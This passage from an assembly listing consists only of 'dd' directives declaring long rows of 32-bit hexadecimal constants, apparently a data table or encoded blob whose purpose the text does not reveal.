2EA99CBAh, 2DD4E099h, 4B89978Dh dd 0D96CD6C9h, 0D47D6507h, 0DA20E6DEh, 8018F223h, 2F53ED7Ah dd 778FBD41h, 45A7087Ch, 0CBBA27DCh, 0C8797F2h, 8AA92D09h dd 2C7C3EB1h, 11C37146h, 0C59C0B12h, 0A9AD5A96h, 32A5B704h dd 8C33E6DBh, 2519105Fh, 0C8BFAF4h, 6C08D8B7h, 78F86B52h dd 153432C7h, 823FE5BFh, 0BE162241h, 6B7F6778h, 0FD17A2B8h dd 0C4B1D398h, 0E7817715h, 32C0D19Bh, 0F1E1FBA8h, 0E57C4B4Bh dd 0CF955FDFh, 5B0A033Fh, 0EA2B5816h, 0ACF35BBBh, 4A07D61Fh dd 0D0FDF75h, 0BA1E5918h, 0A412FC98h, 0BA8C3621h, 7A3B6B8Fh dd 0CA99672Eh, 0D1165084h, 613AF10Dh, 5C7FC2F3h, 1E3854Dh dd 7A8CA250h, 0AF3A5833h, 0DA6FA761h, 0B6A8A1CEh, 0ECBE7B94h dd 6D8617CEh, 0F81E0BA2h, 0A7EE4F9Ah, 0D25C0DB0h, 5B15009Fh dd 5B71147Bh, 0B6D9EA40h, 7E9B4045h, 0EA82191Dh, 0B614B24Bh dd 27B7C2D6h, 32E09660h, 8994E9A2h, 3F0AF46Dh, 64E7AAFAh dd 174E60DDh, 6B9F40AEh, 2CC40367h, 401E3837h, 951383ECh dd 0AF2CFFA4h, 0D2266B25h, 714293h, 7BA0FD9Ah, 48F3342Bh dd 76225DB3h, 250C4348h, 0D382A2A3h, 43102A56h, 1D73C450h dd 0B05FBF05h, 7B0D82ABh, 5836AE7h, 0C10C0A6Eh, 9793CB50h dd 7BB950C6h, 239FE33Dh, 0DBCB1D00h, 3C1AE33Dh, 98D805E7h dd 8D4D6D44h, 3A47C787h, 1DC0A621h, 18C2AD78h, 0B7E59DA5h dd 0B4BF3CA0h, 0EB78E0F5h, 2F5AF05Bh, 0FBCF24B8h, 737F231Fh dd 0ABF33E52h, 0BD357B36h, 0E5D2A847h, 0B68FFC4Fh, 5DA49FA7h dd 0E1237306h, 5E55261Ah, 5754B59h, 273E4A61h, 59DCF264h dd 0A0DD976Ch, 0B63EC217h, 5961E312h, 6713FB25h, 0D442317h dd 0D9BC855Ch, 0BC306FB7h, 3E1277CCh, 0DFF18FAh, 9E412ABFh dd 9E2B902h, 0E07FDC2Ch, 2CB8AA22h, 0F18BD0C0h, 42804440h dd 836CB0D7h, 8326F138h, 9C4ED9DDh, 8B60E40Eh, 0FCAFB2C0h dd 0B7FB0298h, 58FB6875h, 0FD5D884Fh, 13600BE4h, 9747A0C4h dd 9C307429h, 401C2AE8h, 0DA755F39h, 7812B6h, 1518530Ch dd 0B86301B4h, 72144C03h, 0FA9AEFCEh, 0E3690E95h, 0A501CEA4h dd 0B2503730h, 0F5B37CE7h, 323CE3h, 79913A58h, 76EC0601h dd 0B5C01FFBh, 0AAB8905Ah, 9395B4F0h, 14990B21h, 0E98F0BA2h dd 80053B6Ch, 0A5EE5F55h, 347018E1h, 0DCF04E96h, 0D5170B23h dd 0E0B0AF66h, 60FDEE7h, 77398669h, 0F2331468h, 2D352DDAh dd 73699C7Bh, 43E555A7h, 750A0601h, 0EDF16C8Fh, 0AB7837C8h dd 1EA649BEh, 0A27370A8h, 43D80672h, 0E5AB07F9h, 5E882BE8h dd 290ED5E3h, 0F8E5ED21h, 3FF7BFh, 7DFF80D8h, 0BDCA5D0Eh dd 2EF7E741h, 6DF552BEh, 0B2CB4420h, 0E3BBF295h, 1B485A15h dd 6B3D430Dh, 0FD1F6914h, 739BD2A1h, 56E3AD80h, 2F6445D2h dd 0B4F51EB3h, 0CF395F5Ch, 0E4721210h, 63C87093h, 0D17F2F6Fh dd 3959DDACh, 0CA34F167h, 0D6013514h, 3A2BB9E3h, 0D435614h dd 52BD468Ch, 0BAE158FCh, 670036CEh, 969115C7h, 6A09CA7Fh dd 58319A39h, 69C4F3CBh, 44A9A604h, 12E23F8Eh, 0B97C796Fh dd 19A51C76h, 3F1FB215h, 0AEF841C9h, 0E343CEC5h, 0A7D5A5DDh dd 160BCFA8h, 0DAD26531h, 0F0A5557Ah, 66A8F9BEh, 6B167F20h dd 0D8724D47h, 0AAE69BD6h, 0F61E3ABFh, 0B57A9142h, 8755D704h dd 0C02C3E22h, 0F4C0808Dh, 98782586h, 4E9DDD53h, 0C3662C24h dd 0F9F854E7h, 0B0BBAF0Ch, 0DAEC6EE6h, 2ECB3A9h, 0C754EA67h dd 0DAC981F1h, 4CD1F9BCh, 271442FBh, 96AD9F63h, 0CAB27FEDh dd 81F2FD94h, 3744EE49h, 3A94B75Eh, 0F5E5F553h, 61050E56h dd 4A065FD0h, 807A06FBh, 0D3879D1Bh, 0FCCD3730h, 4B875A4Ch dd 69CA2858h, 70D738A5h, 0ABE19C79h, 0D3441BFCh, 0D5C2EEF2h dd 3835628Ah, 67E1EC72h, 911589CAh, 9B9BB7F7h, 675A1731h dd 0C815E3AAh, 807A9893h, 208323A8h, 0C500F75Eh, 2026A2B9h dd 87FB6B42h, 0BB15C09Bh, 6C1F66A9h, 7B9A475Eh, 0B58F8F8h dd 0B3D49DB5h, 38419D73h, 0B81FCAB0h, 61386420h, 0B0880BC6h dd 0D1BDC6A6h, 940F07EFh, 6A662C7Fh, 0DFCA0257h, 2DE033A9h dd 3109BCDCh, 6AEF0566h, 30EAD871h, 941E380Bh, 1631E0F0h dd 0A6FC8365h, 99C450CCh, 0F26C4822h, 0D01C5874h, 0CCAECCADh dd 0B276422Fh, 0C5157724h, 725C8547h, 3038D3D4h, 6A23F15h dd 1A333C5h, 384F0364h, 0D53F0669h, 0C9004DAAh, 31999422h dd 0D7830AE2h, 7534D4EDh, 7930E071h, 557A98B9h, 5E678C71h dd 82AC3742h, 8B426B16h, 291A379Ch, 0F5B69FF5h, 0A43C253Ch dd 67C24A41h, 7D3810ABh, 0ACF64B80h, 0B4A688B4h, 9B540B5h dd 0E9B97D91h, 0D4F507A4h, 5C405B9Fh, 117056EEh, 0A99B7423h dd 1A2333F1h, 0C9004EFAh, 48DA9733h, 562A3C30h, 8F032ED2h dd 7C0DF50Dh, 271CAC3Ah, 3BB53618h, 0F46A8E4h, 33ABE12Bh dd 0CC954852h, 0CF0A6DE9h, 92D201A9h, 0F525F98Eh, 0DB43977Fh dd 76A2D416h, 84B8C1DEh, 9C28C9BEh, 37E55639h, 66BE539Ah dd 29F3992Eh, 77135DE1h, 16FFE3B5h, 9AA5C313h, 0C893E82Fh dd 59EAC623h, 1A49FD0Dh, 0BBCB1DF4h, 20057E65h, 0C3EDE487h dd 1FEAA405h, 3248D050h, 515AB1A6h, 701F8B94h, 674F4474h dd 0F521DCE2h, 19DD2B1h, 0EBF4682h, 26BD4865h, 80893833h dd 0A346B676h, 26A47D32h, 8AE196FBh, 0BD7B35D1h, 7E2E60E8h dd 1B20AAC8h, 7AE21298h, 0D16F37CFh, 6105E77Eh, 0E67A157Dh dd 53F5019Bh, 0B6D708D4h, 430F9C98h, 62F1D7A1h, 0D0991A06h dd 0D30375D7h, 97AC6E60h, 0A00414F1h, 0BCE4DFF0h, 6A66E339h dd 3B562734h, 2E303BEBh, 6B724363h, 0C4B14B4h, 0B73E5D89h dd 63E96686h, 99BEA3F2h, 12A2126Bh, 0A0D92586h, 7B3B1704h dd 48B36D51h, 9442B1DFh, 8C6BC3BAh, 83E11BCFh, 9CFCD56Fh dd 477CA7D7h, 5B5C0D4h, 0E3CD91F8h, 2E1E8363h, 2303D8Eh dd 0FB81578Bh, 0C37740F1h, 1AD21242h, 20E6DC0h, 0E57F91EEh dd 67124A65h, 0F55D2032h, 0E2B387A5h, 985291B9h, 0FC6D83DCh dd 6DD698BFh, 0D8F75CCCh, 59A286B8h, 0F74C8B67h, 0BCDA8D6Ah dd 664E319Dh, 0F268105h, 65818E0Dh, 9C3D81B3h, 0A3E428D3h dd 0C29B7D25h, 7EC05E0Ah, 18C54D9Fh, 83BB5F62h, 0BA07A272h dd 0C64A0A04h, 518E5C23h, 4F349019h, 890233F8h, 0F56A20F3h dd 0B209F1E6h, 0A436145Fh, 3F111650h, 6FD6649Fh, 1E331B5Dh dd 7080F8A6h, 925C2B2Fh, 0D967032Eh, 6C6B35BCh, 5B08EE04h dd 278E166Bh, 8E2F803h, 7C80D02Dh, 0F4652338h, 0E0680B3Ah dd 370F7BBDh, 2A03871Eh, 0E7981F08h, 0DAD54FFAh, 37AEF086h dd 2222133Fh, 62484D91h, 0E7C420A3h, 45927174h, 0C1ABFA12h dd 9C0C7BFh, 0B66C08D9h, 0D31349F0h, 0E24F547Bh, 0AB25DCE2h dd 85A8F10Dh, 27C9D0C4h, 6B1EA38Ah, 1C3CBAA0h, 559ECEDh dd 391EA1FDh, 6D565279h, 8B1F10E1h, 8C9D832Eh, 963A1B86h dd 0B0D2DDC3h, 0B9D1562Ah, 8FA8DC18h, 0C41158B7h, 852562DCh dd 5E8D6CF1h, 899F6EC0h, 95E4C0B4h, 0C6DA2A7Ch, 6934E1B9h dd 764F0C1Bh, 0ACFE452Bh, 0FAD03B57h, 707EDE48h, 0F6F1B920h dd 0D6D583E3h, 13D286ABh dd 345EFFABh, 88FCBDAh, 859EF4E7h, 0BF6549BAh, 0A5A33D71h dd 7705B118h, 4CC3D31h, 57E72D0Dh, 0B78E33A6h, 0CE7553DFh dd 0A0D78DD6h, 0BDA5211h, 702B9348h, 0DC628034h, 0F6560064h dd 33121B69h, 0CCC10EC4h, 2E8543AFh, 0CC683D38h, 0B1993AC9h dd 4007D65Fh, 65DF43EBh, 24CFC20Dh, 0BF32E0FEh, 9DCC8007h dd 0E08A8AEFh, 84B846A5h, 0C93F744Ah, 93B43E34h, 7BEBA6D5h dd 0CA642764h, 4344CBC1h, 0CBA15C53h, 0DCFB89B0h, 63377031h dd 0D7B5F92Fh, 7D72D4C4h, 405A1DF4h, 0DC53C1B8h, 0C305C10h dd 0AB6EDEA5h, 63D829DAh, 77D6416Eh, 0C142B049h, 1F2972B8h dd 1CA4FDB9h, 0C6AB04A3h, 0DCCFDD66h, 0AEFB426Ah, 82560D58h dd 37DD6410h, 7F954A00h, 0A8F0DAE2h, 0EE5845A8h, 590EC972h dd 0CF5C2752h, 8AFA371Fh, 0BBD29B5Bh, 0BD00B308h, 889DA5CFh dd 0E4AA77EEh, 0B220697Bh, 9960F2ACh, 0EE05DDFAh, 0D870170Eh dd 37D9FA9Dh, 4884D5Ch, 20E0443Eh, 0F32FBFECh, 52C0BB52h dd 86E06C1Ah, 19160B2Ah, 6E4E8431h, 79A8534Fh, 5368FD58h dd 92E8E4h, 0E41D3A55h, 45CB0D1Bh, 745CF766h, 2486CB47h dd 0E99327C2h, 0F1B343D5h, 1D94B10Ah, 2B84BD7Ah, 442D06EDh dd 0B7D09A08h, 0A0C1A24Ah, 1D046A58h, 34DA70E4h, 411D03Bh dd 1F570B74h, 0BBB28D2Ch, 0F15ED63Ch, 60333815h, 825543ABh dd 73C28F7Ah, 9A58CB07h, 38737766h, 6EA98D38h, 0B5B70979h dd 0AE7C6D6Fh, 0A80B1336h, 60E1E6DFh, 0E258FDA9h, 0E82AD263h dd 0D0F3CA23h, 0D553ECC5h, 997E16AFh, 41BE4530h, 1AB6C11Ch dd 0B47C1EB7h, 0A776C073h, 0A0B61322h, 2B4D0EFAh, 0A913F4F1h dd 0A0F0DA5Ch, 1FDC05ABh, 5347ABB6h, 0BF8ABFC5h, 40A1A451h dd 595851A2h, 71104E19h, 8E5AF6B1h, 9402773Bh, 84B7DFD5h dd 0B29D6E2Eh, 4473820Ch, 781A51B8h, 5DA1EC1Eh, 432D359Dh dd 0D115DC96h, 0A1C98C4h, 0AFE1323Bh, 0FF3CD479h, 7CE1C1B2h dd 0B8E41767h, 9346DE54h, 0A136BF4Eh, 0BF17C23Dh, 0B34325D3h dd 0E1D1F10Bh, 0EC218836h, 0C54173C9h, 7468AFE8h, 989EA39Ch dd 508787C8h, 4B110A12h, 55191551h, 1077A1E1h, 0E5C25DEBh dd 0B0EAC6FFh, 9AF890D2h, 0C20447A7h, 1B21B6C3h, 97E493D0h dd 0C0222949h, 1FFE10BBh, 8A0F946Dh, 0FA81E51Dh, 0FCDF4C7Bh dd 2A6DB454h, 62ECA8E5h, 17E6A1CEh, 0B5CAA6BFh, 0DE008B62h dd 38645AA9h, 342909CEh, 0AA72BE78h, 0D69A613Dh, 2BFAEBA4h dd 0EE707E4Eh, 0A3FFA167h, 0B6F3EBD8h, 77DF8197h, 9E2D2645h dd 216553Bh, 8C817F94h, 5F88A78Ah, 0AA3CA50Ah, 0D9B41D3h dd 0D7041251h, 5A668AF8h, 1409A8A9h, 0C7B8FEAAh, 0CC1261B9h dd 2E50656Ch, 3A9ACBEFh, 301D74A2h, 1D776A9Eh, 426FA730h dd 2F56C489h, 7D30F095h, 4BD87B69h, 0DF84FA6Ch, 6908507Ch dd 0CCBFC8CBh, 4B6E2D2h, 710EAE73h, 0A7664AE3h, 68C0D958h dd 0A07E9315h, 1E90D4E5h, 97B54C8Eh, 0F0BF323Ch, 130EACCDh dd 7BB9041Fh, 0EDF12393h, 5DF0156Dh, 835C8BF2h, 19958FC1h dd 0AFF55BE9h, 7197F1Dh, 9056AAC1h, 0E25D5DD5h, 5863ECDAh dd 820785C1h, 86EEDB7Bh, 3D357FEAh, 8958F270h, 6D78042h dd 85AFDACh, 0E73A5A60h, 0C95D3C28h, 0A61278FBh, 34743264h dd 273BA15Eh, 0E10BB556h, 2BA3313Ch, 9555CCFAh, 0B4744C13h dd 8482344Eh, 0AF428D50h, 0E56D1499h, 86822ABh, 0B6E8E0Dh dd 0E2812BC8h, 0A19A9DE8h, 44B4219Eh, 3DEB4BB7h, 59731ABFh dd 73761BD9h, 0EAD62EFEh, 0D7B6E222h, 88858164h, 0B95981FDh dd 9FE5B735h, 1BC8DD87h, 1F655626h, 3B57C75Ch, 952DD893h dd 6B8F1553h, 0E08667A4h, 99CE707h, 0A96BC9A9h, 0A3B01A6Fh dd 8FD40E96h, 2A0F2961h, 9399AA73h, 0EE30AEC5h, 0E37A75C3h dd 0EAC27A9Eh, 58BA3473h, 3419EF78h, 6198DF30h, 3A0AB3E6h dd 7E3BC356h, 378BCA94h, 40E4DFEEh, 697A5913h, 0C9551F1h dd 310AE19Ah, 0B4AD6F11h, 4547E14Bh, 24FE6F05h, 42C3D6BBh dd 1AD3EE3Ch, 0D066B69Dh, 1896C1F8h, 2F9EFDA7h, 0D4ED151Ch dd 794955E5h, 0B3528C00h, 3F2A5CB6h, 0ADC7D237h, 93FD258Ch dd 7572AF0Dh, 0D226998Ch, 21ACEFB7h, 0A5522F9Ch, 0D525D5DBh dd 47A8C0A1h, 9DEDCC9Dh, 95C33B79h, 0A7E565EEh, 4273E0D9h dd 879278FFh, 26B5ACBEh, 5C404562h, 1D993C61h, 15390FABh dd 0C1C320D6h, 5D5A6540h, 0E1135688h, 2F95B5CCh, 0A129F97Ch dd 0D79B0FCAh, 0BB07FB21h, 5CA44F94h, 0D66B0193h, 0E0E436BBh dd 0ACA277Eh, 63F0BC2Eh, 0AADD0A72h, 52C1BF10h, 0D542E366h dd 0CB17B66Ch, 0B392B732h, 2048CDD4h, 3C338CE8h, 7108266Fh dd 47139354h, 83BEA4B3h, 0AC24D64Dh, 6B83076Ah, 7E37CAB3h dd 1078750h, 9E5005F9h, 0E7CA52EDh, 379E4DD3h, 47162B88h dd 9D76975Ch, 0FFC3C7DAh, 9258A1ECh, 23C4A2E2h, 0DAE02ED5h dd 0E3DAA65Dh, 6D39273Fh, 23439BDFh, 9BBC739h, 9B7A2071h dd 0DFE38D32h, 0DED634D9h, 95D569C5h, 0EC07F470h, 9545093Ah dd 5D209CFEh, 21CB250Ch, 786F3575h, 0F49F1B5Dh, 3AB51379h dd 0F690BAE0h, 0E625BB95h, 0F8A527B9h, 7D6014F5h, 0BD246CFAh dd 348BB306h, 0C1F5CC78h, 64AD3BD8h, 0E4598882h, 0FA321C56h dd 1FEFE2D0h, 0F0739E1Ch, 702BD8F7h, 293B441Bh, 5FE71228h dd 12BB0C10h, 810CB507h, 0E847DFF7h, 0F41665AAh, 0B7803C90h dd 0BF82825Fh, 3F35B79Ah, 0D28D07F3h, 5E4A53Eh, 0D196AB5Eh dd 80CBEF15h, 572FF963h, 446C89EEh, 2B3BFEE5h, 79CF2F79h dd 0AF83DAB1h, 0D7D51826h, 50C4E886h, 0C00360EBh, 968B8A6Bh dd 0A284C16Eh, 2B596FC9h, 0A14DE512h, 8283ED9Bh, 0DE1021CBh dd 0C2BB4B10h, 0F3DB741Bh, 8BBB51EDh, 0FF79297Ah, 0AAD0CB68h dd 2F4D4F26h, 104DB292h, 7152C00h, 95B42456h, 0BB1EE1B7h dd 0E92C9A32h, 8ACCB756h, 37244521h, 5E1D05FDh, 77BDDF96h dd 0A004490Ah, 0FBD2129Fh, 8AA7C817h, 0EF68FE98h, 3FE1B220h dd 0F9B11F6Eh, 916F17B6h, 0DE2BA79Ah, 85144311h, 0F1F58FD3h dd 488053BBh, 0F8DC933Bh, 584EFC98h, 0D9478FE4h, 7FB750A0h dd 0A3D605FFh, 7207BDFAh, 234E530Fh, 0EB4FCED8h, 95119B41h dd 0E469B084h, 0B97C5CE8h, 61EF9FC7h, 0A936364Ch, 396153FEh dd 87FAB0E6h, 18C73A30h, 9C1732FFh, 9BF4F231h, 0A247881Fh dd 1D685CBFh, 0E969A380h, 0B43CBC3Eh, 63BD978Dh, 3A66EB2Ah dd 2D5C8E5Dh, 0B74306EAh, 0C6A60013h, 0E17B2CBEh, 603F0ADCh dd 29FDB604h, 0CA038AD8h, 72823623h, 205786DBh, 3602BB17h dd 13B1EDEBh, 0CA071D73h, 0DC989598h, 3FBC03EAh, 9C18129h dd 6D30AE36h, 601E9B5Dh, 0D2FCB6BCh, 0DAFB9004h, 40323D2Ch dd 0C63D6DCAh, 75B7C905h, 397737B5h, 7A5D3020h, 0A3D2AD30h dd 0A61101E3h, 62957DF9h, 37379745h, 0F502E300h, 0F93D9540h dd 92124D55h, 94BED8Fh, 7AF2EA26h, 66FE7DE0h, 2F6B6E76h dd 0FA0323B6h, 0FFDF5FB8h, 3FA7852Bh, 56CB9272h, 9DD689C6h dd 7831EFB2h, 5FE48E0Ch, 0BCB412C6h, 21C21BECh, 189F8EC0h dd 0DB9234BAh, 70F96605h, 0A471040Ah, 49DAD0ACh, 0E396F4F4h dd 0FEDF8BF2h, 0E1C3A733h, 3C5BBBFBh, 1D23E9AAh, 6D34ECA6h dd 0D9E1E7D0h, 132D7E6Bh, 1EF21863h, 0A6100F89h, 0CB96DF62h dd 0B3934056h, 0BFB43B3Eh, 32070B84h, 60292527h, 219EBB6Eh dd 0CB3D4C59h, 4256938h, 0B937E9B9h, 0BA6E0521h, 3380B716h dd 60D6C4CCh, 0F6ED7A04h dd 0F5A08D82h, 821C2A08h, 327FA9DBh, 737B6FCFh, 301E0CFAh dd 3DEC3909h, 0AEF6AFAFh, 7C279F76h, 0CE455095h, 0A5457C53h dd 47137428h, 3A305F53h, 957BB506h, 42A68F4Eh, 72D4E482h dd 671232DAh, 7F745039h, 11F347E9h, 0AEDF3426h, 9D0EE9FAh dd 0CB3D94C8h, 0FC0339AEh, 8B9EB6B5h, 0AED7113Fh, 78F1E0ECh dd 0D1A2FB7Dh, 237E6A18h, 0D8FE0B25h, 0C5B75E6Ah, 0AC133535h dd 4AD5441Fh, 14FEC222h, 0CA225347h, 83D2C0B5h, 0E896D538h dd 0FA529165h, 617A8746h, 8575E35Fh, 2E5AED66h, 23E5607Eh dd 7062A09Ah, 7A2970F3h, 8BE5D1Bh, 0A0E822BDh, 3CF95650h dd 84A5883Fh, 62D67EE4h, 6002A0C1h, 0D761DEE0h, 6430DBEDh dd 0ADA81E51h, 1B48290Bh, 0CDF56463h, 22C0669h, 253322AFh dd 4F2F33A8h, 58B85C25h, 0A48052ECh, 0F60E3AADh, 0BF63A793h dd 481BC1DBh, 3C6AE49Fh, 5DA4AED0h, 0C5835BDFh, 0B2B65F89h dd 39CE2357h, 0BE25743Ch, 0C4E09D72h, 0ED6A8BFFh, 61D7367Bh dd 14B8C22Eh, 0BCB26662h, 87A4CF79h, 93602964h, 0DAD2628Ah dd 2F0A64DBh, 0E259881Fh, 603EF91Ch, 1B54EA56h, 0BE811DCEh dd 14234019h, 470AAA3Fh, 0D755271h, 0F6AA1831h, 6DB4981Fh dd 0D52AC6C5h, 9CFED0BAh, 0C2633329h, 44A8EA0h, 22ED083Bh dd 8F06046h, 72FE5B53h, 4C6C1D85h, 0C9EEDE72h, 0FD6CEA8h dd 8E0F9063h, 2D75E43h, 0DF20EE2Fh, 4FE4B183h, 0AC1BE430h dd 84996151h, 173F4989h, 1EBBA2Dh, 89DA0B9Ah, 0CA2B9F6Ah dd 0DDDCE06Ah, 1FAEA6EAh, 82B8508Dh, 4A8E122Eh, 84501513h dd 251F23AAh, 71050698h, 0B6CD17EBh, 0EC5E5D87h, 0D7189427h dd 0CB0B04C5h, 920294B6h, 71AE99D4h, 46DD1928h, 0EAA9FC3Eh dd 0BB008E06h, 617DE42Dh, 6EC7FC57h, 20F127Ah, 2F85A007h dd 0CB2236AEh, 9443A74Dh, 0A67548A3h, 0FF97E4h, 0C19F4E50h dd 4808B062h, 51F30C88h, 9A902A43h, 444C305Fh, 71AE01E9h dd 72363EADh, 51A1C70Ah, 16DE90E4h, 3F507E9Ch, 7FCD1275h dd 48F8A9E6h, 78EAAFA7h, 5945DE4Bh, 0BD68E8Fh, 696B504h dd 2596C951h, 0C91402B2h, 0F11FDCF4h, 1A2A7B84h, 47FC1D68h dd 90221B29h, 3D437A7Dh, 275CCE07h, 8918A31Bh, 0E27CCB4Ch dd 0F6D71ABAh, 42BD240Fh, 6FB9BFDBh, 13AB55D9h, 30113255h dd 0FA90A89h, 0FBC9FDACh, 663845C2h, 7DC9BAACh, 2598EB88h dd 8ECD28F5h, 3C7E156Bh, 0FD3603AAh, 5563771Eh, 0F4190B74h dd 9254DEA0h, 0C24858C0h, 2A7CA01Ah, 699B12C2h, 16048FD2h dd 6031800Ch, 0D5333CC8h, 32FDF4ABh, 0B8B9C073h, 817329Bh dd 0F9331DFCh, 524A0A8Eh, 358A425Ah, 8A5F4A0Ch, 0C7435F68h dd 0B6C08B1h, 4E393137h, 54BC1288h, 11F8FEB4h, 0ED9FBDCFh dd 53D4FD9Eh, 74B6634Ah, 0F435681Dh, 686337B1h, 407ADAD9h dd 49C825C8h, 9A61351Eh, 0F279B87h, 37195CE6h, 83DA4C2Dh dd 9181EAB5h, 803F7C0Fh, 85A14AA4h, 0D86C4994h, 568DC6E4h dd 42E6ABB4h, 0B9BEA60h, 0AAA5438Ah, 7A1C079Ah, 0FCFE8DF8h dd 1D7AA75Eh, 709E2A15h, 0C4A72F53h, 31A29C97h, 8E341B4Bh dd 2F296645h, 0A8FD6C8Bh, 0EF859211h, 55A18B7Ch, 9A6643F3h dd 0AC151BD0h, 84BADECCh, 0A238A66Dh, 0BF8B7EFEh, 5E095843h dd 2A753D7Dh, 1CD86206h, 9AC569F0h, 56A209BBh, 7DAF9D05h dd 0E129C14h, 6163F8A5h, 6C53CFE2h, 526481F5h, 9BC0B34Ch dd 0B7C21E2Ch, 0CF6ADD3Eh, 37DC427h, 4CA5695Eh, 9F43655Dh dd 0AE94EEC7h, 0D981D97Ah, 6B4E20BEh, 0AE2682F9h, 6FB4861Bh dd 3AC1401Bh, 0A39A7705h, 0AF655A15h, 86CBC6Ah, 0FC2F3166h dd 47525740h, 363D89D7h, 0A595E429h, 2483910Eh, 52B77ABEh dd 5098B8FCh, 0DC7D0F74h, 70283984h, 0C23CA7ACh, 997B5E51h dd 0C725F9BEh, 0FF03649Dh, 8535D192h, 0AACBF665h, 0C1DF61FBh dd 577828B9h, 0C06C9691h, 72AA3ECEh, 0EB01EB4Fh, 7AC84681h dd 0DF14A5A4h, 0C18C84A5h, 90A127EEh, 0C5D05B50h, 70B347B1h dd 7AAA3C59h, 8CAB1353h, 54590C36h, 60EB50C3h, 3747377Fh dd 0D2032082h, 0D4BCAE6Fh, 0DF4CB327h, 0FBAB34ECh, 0E22F4924h dd 50D48C2Ch, 0B7BC3D1Dh, 2309305h, 0EFD56262h, 234E5307h dd 93C2B6AAh, 5D841283h, 57D1C8A7h, 6008D59Ch, 277F58ECh dd 687AFCD8h, 819DC5C4h, 0DA49D86h, 0ADBA07D3h, 68F105FAh dd 5752E116h, 0D37DFDBBh, 50627F80h, 6D4DADF1h, 4B839DEDh dd 63821106h, 2DFE2DCCh, 40AF382Bh, 0C5A200D5h, 1E20FA29h dd 0B00CE776h, 5AF82D79h, 0E4A36DA0h, 0AACEE723h, 5F031F37h dd 45B7125Bh, 0EC2E6786h, 0E5907003h, 0B144CE58h, 0D9A52C10h dd 381147A0h, 606197EBh, 9345D55Ah, 47154E54h, 254FB53Ah dd 0BBF003D0h, 3FCE5DB6h, 3FDFB0B8h, 47917260h, 6D0A0466h dd 0D6014021h, 0EABAE32Ch, 9932745Fh, 0B6185B05h, 621EDE8Eh dd 1C2BFFF0h, 3753A995h, 0B3225BC7h, 0B84F9869h, 21737847h dd 68B14D47h, 1866742Ch, 35C38527h, 743F283Ch, 3EA6A3C0h dd 1AD15CAh, 156F5183h, 0DBE669A5h, 8A2C25E2h, 0C729E5ACh dd 829AF09Ah, 87E29F5Ch, 15F5F58h, 780E3F60h, 0B598A9BAh dd 0B39C2556h, 6F26797Bh, 0B3F6A292h, 0BC16D88Bh, 21221E71h dd 8AF5A94h, 9785BDD1h, 762322C2h, 0E88F9514h, 0B863E352h dd 0EAA2E82Ch, 1ADA39CCh, 527C068Eh, 528544D4h, 7D05E9A5h dd 9F4CE0ACh, 0FFCBA920h, 62A02A02h, 856BCA3Dh, 0E9E9E18Eh dd 62DA2946h, 0EDCA25D5h, 0CAEB20F7h, 57BE897Ah, 0DD332F90h dd 3A6E2D44h, 0CC21FC25h, 0F638DBFBh, 825ECFE9h, 0B1B26F5Ah dd 0C82427FFh, 519A9D9Eh, 48013B8Ah, 1FB755E0h, 0D0F1C926h dd 0CD2086A1h, 0D994B19Bh, 9586BAF9h, 49B8B551h, 1DB84C6Ah dd 9008037Dh, 15791BF5h, 5D16F0FFh, 572BDC0h, 9D9011DBh dd 847D979Fh, 22291E42h, 785221A3h, 0EC6F7778h, 592D9A50h dd 0C4FA6032h, 0EA487396h, 0D168AF51h, 94A5EA7Eh, 0A929293Ah dd 41C59EC9h, 6C6FE279h, 8379B163h, 7ADFC4B6h, 72DD99FDh dd 6B4A96E4h, 35F338FFh, 0C495F2FCh, 0D337AC5Dh, 8AD4C423h dd 21332E5Dh, 4B9EE936h, 321DC50Fh, 2E07B989h, 6E890B94h dd 78771EB6h, 4F6F5150h, 348A984Ah, 0F2139269h, 0E870A6B5h dd 71F5CECAh, 662D8E28h, 10EDEEAFh, 0BCD00005h, 0F6C5ACDFh dd 0A5DB3AA9h, 0EB3E5535h, 62797BBBh, 846B35D7h, 4401DF53h dd 0A608322Bh, 86EBC530h, 4A6A71D7h, 0D11830ECh, 0FC3A6B80h dd 0C36464ECh, 0F0AB3D22h, 3E19D6C7h, 0CF9B9D80h, 143D2F6Bh dd 41A7B7E9h, 5CF31C56h, 1D550029h, 1FD06FC0h, 0A9EF5A03h dd 0A8882467h, 121BECFBh, 0E1481B0Dh, 605CCE5Dh, 419B5E20h dd 63047264h, 0F916B512h, 7AC2F583h, 10B60565h, 0D5F53DC0h dd 0B5FB4C1Bh, 1A7C1BA2h, 0B8ACD544h, 0EFFA24BAh, 117C27h dd 0D766E3CEh, 0EF4FFE90h, 1728EADEh, 0E67228A9h, 0A8394682h dd 9443F034h, 32FACE60h, 0CA22079Eh, 0B69D8040h, 5E2B6886h dd 3CEA78D8h, 0E285A896h, 771CED53h, 2AD93FBFh, 0CBC3944Eh dd 505D1EE7h, 0D5C582F8h, 558F147Fh, 4816E503h, 0E15BBE27h dd 24CD8AD6h, 7A055076h, 2A33D3F9h, 132E7B89h, 0F91E6770h dd 0A239286Fh, 62BCA281h, 0E01DC866h, 0B8E20E5Bh, 20C4D3CEh dd 0E35289Bh, 0D56E229Ah, 2C5EDADAh, 7904125Fh, 7ED5DAB0h dd 329A1226h, 0DEAB0C72h, 693581DFh, 577AAD2Ch, 23027967h dd 260570E7h, 78C6A475h dd 35F408EBh, 603D398Fh, 0D3B68116h, 1FE5A7B8h, 0F9A02AF7h dd 17E5B102h, 0B4FF7902h, 52576E9h, 58C92338h, 0C5A5C3D5h dd 3DDCB5ECh, 90212EBAh, 6661236Fh, 2E701B2Fh, 170855A0h dd 20B5FA87h, 0BD5F25AAh, 0CC41045h, 61D2FA47h, 0FBA22BB1h dd 5F89A90Bh, 0E59C416Bh, 0F1089BEDh, 0DBBAFB47h, 967211D8h dd 0F6644351h, 51367893h, 1DF8EED3h, 0BA780C6Ah, 2CC95288h dd 0F0582175h, 6A1193BDh, 1462C80h, 9BE8E076h, 0D174CBABh dd 0D2CEA367h, 577EB1E1h, 480C595Ch, 8D35C00Fh, 0AD950Eh dd 0A0EABF26h, 625DFA4Dh, 6B346662h, 0B9471254h, 2150C60h dd 1C0CB90Bh, 0EA825661h, 0BD311801h, 6C3CCB37h, 0FEDB6FDEh dd 81818120h, 7137DB18h, 4CA273CBh, 402F0657h, 2254B18Dh dd 126593F2h, 70C8F689h, 19E8AB70h, 0BBC44EEEh, 0E9F3AA4Bh dd 36570037h, 984EFBCDh, 0DF0B62D7h, 0F4434084h, 0E4C9B7D5h dd 0F6AADA81h, 7E6FCEEh, 59FEC33Ah, 0EF75A13h, 6134339Fh dd 0AFF134B1h, 0E3E349Bh, 